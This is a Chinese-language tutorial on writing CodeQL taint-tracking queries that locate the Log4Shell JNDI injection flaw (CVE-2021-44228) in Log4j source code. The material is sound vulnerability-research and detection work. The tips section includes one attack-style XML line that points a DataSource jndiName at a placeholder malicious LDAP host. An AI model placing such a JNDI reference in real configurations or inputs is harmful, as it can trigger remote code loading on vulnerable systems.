利用CodeQL分析并挖掘Log4j漏洞
字数 1013 2025-08-24 23:51:23
CodeQL挖掘Log4j漏洞实战分析教程
一、前言
本教程将详细讲解如何使用CodeQL工具挖掘Log4j漏洞,特别是著名的Log4jShell漏洞(CVE-2021-44228)。通过本教程,您将学习到:
- 如何构建Log4j的CodeQL数据库
- 如何定义JNDI注入的sink点
- 如何识别Log4j中的source点
- 如何编写污点传播规则
- 如何优化规则以提高检测准确率
二、环境准备
1. 获取Log4j源码
git clone https://github.com/apache/logging-log4j2.git
git checkout be881e5 # 切换到2.14.1版本
2. 修改POM文件
由于我们主要分析log4j-core和log4j-api模块,需要注释掉其他模块:
<modules>
<module>log4j-api-java9</module>
<module>log4j-api</module>
<module>log4j-core-java9</module>
<module>log4j-core</module>
<!-- 注释其他模块... -->
</modules>
3. JDK9环境配置
在C:\Users\用户名\.m2\toolchains.xml中添加:
<toolchains>
<toolchain>
<type>jdk</type>
<provides>
<version>9</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome>
</configuration>
</toolchain>
</toolchains>
4. 构建CodeQL数据库
CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"
三、漏洞分析原理
1. JNDI注入sink点定义
我们需要识别所有可能调用JNDI lookup方法的位置:
class Context extends RefType {
Context() {
this.hasQualifiedName("javax.naming", "Context") or
this.hasQualifiedName("javax.naming", "InitialContext") or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or
this.getQualifiedName().matches("%JndiCallback") or
this.getQualifiedName().matches("%JndiLocatorDelegate") or
this.getQualifiedName().matches("%JndiTemplate")
}
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup" and
ma.getMethod().getDeclaringType() instanceof Context and
arg = ma.getArgument(0)
)
}
2. Source点识别
Log4j中可能的source点包括:
- 日志记录方法(error/fatal/info/debug/trace等)
- 配置文件解析
日志记录方法定义:
class Logger extends RefType {
Logger() {
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
class LoggerInput extends Method {
LoggerInput() {
this.getDeclaringType() instanceof Logger and
this.hasName("error") and
this.getNumberOfParameters() = 1
}
Parameter getAnUntrustedParameter() {
result = this.getParameter(0)
}
}
四、污点传播分析
1. 基本污点跟踪配置
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter()
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg) and
sink.asExpr() = arg
)
}
}
2. 添加额外污点步骤
由于CodeQL默认分析可能遗漏某些传播路径,需要手动添加:
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma, MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and
ma.getMethod().hasName("createEvent") and
fromNode.asExpr() = ma.getArgument(5) and
ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and
ma2.getMethod().hasName("log") and
ma2.getMethod().getNumberOfParameters() = 2 and
toNode.asExpr() = ma2.getArgument(0)
)
}
五、完整查询代码
/**
* @name Tainttrack Context lookup
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType {
Context() {
this.hasQualifiedName("javax.naming", "Context") or
this.hasQualifiedName("javax.naming", "InitialContext") or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or
this.getQualifiedName().matches("%JndiCallback") or
this.getQualifiedName().matches("%JndiLocatorDelegate") or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType {
Logger() {
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
class LoggerInput extends Method {
LoggerInput() {
this.getDeclaringType() instanceof Logger and
this.hasName("error") and
this.getNumberOfParameters() = 1
}
Parameter getAnUntrustedParameter() {
result = this.getParameter(0)
}
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup" and
ma.getMethod().getDeclaringType() instanceof Context and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput LoggerMethod |
source.asParameter() = LoggerMethod.getAnUntrustedParameter()
)
}
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma, MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and
ma.getMethod().hasName("createEvent") and
fromNode.asExpr() = ma.getArgument(5) and
ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and
ma2.getMethod().hasName("log") and
ma2.getMethod().getNumberOfParameters() = 2 and
toNode.asExpr() = ma2.getArgument(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg) and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
六、漏洞挖掘技巧
-
关注插件加载机制:如
DataSourceConnectionSource#createConnectionSource方法,可通过XML配置触发:<DataSource jndiName="ldap://malicious.dns/exploit"> </DataSource> -
分析消息处理流程:特别关注
Message对象的传递和处理过程 -
关注字符串插值:Log4j的
StrSubstitutor类处理${}表达式,是漏洞触发的关键环节 -
注意继承关系:实际运行时可能调用子类方法而非父类方法,如
Logger#log而非AbstractLogger#log
七、总结
通过本教程,您已经学习到:
- 如何使用CodeQL构建特定项目的分析数据库
- 如何定义JNDI注入的sink点和Log4j的source点
- 如何编写和优化污点传播规则
- 如何通过添加额外污点步骤提高检测准确率
- Log4j漏洞挖掘的实用技巧
CodeQL是一个强大的静态分析工具,通过将漏洞模式转化为可执行的查询规则,可以高效地辅助漏洞挖掘工作。关键在于:
- 准确定义source和sink
- 理解框架内部的数据流
- 合理处理污点传播中的断点
- 针对特定框架定制分析规则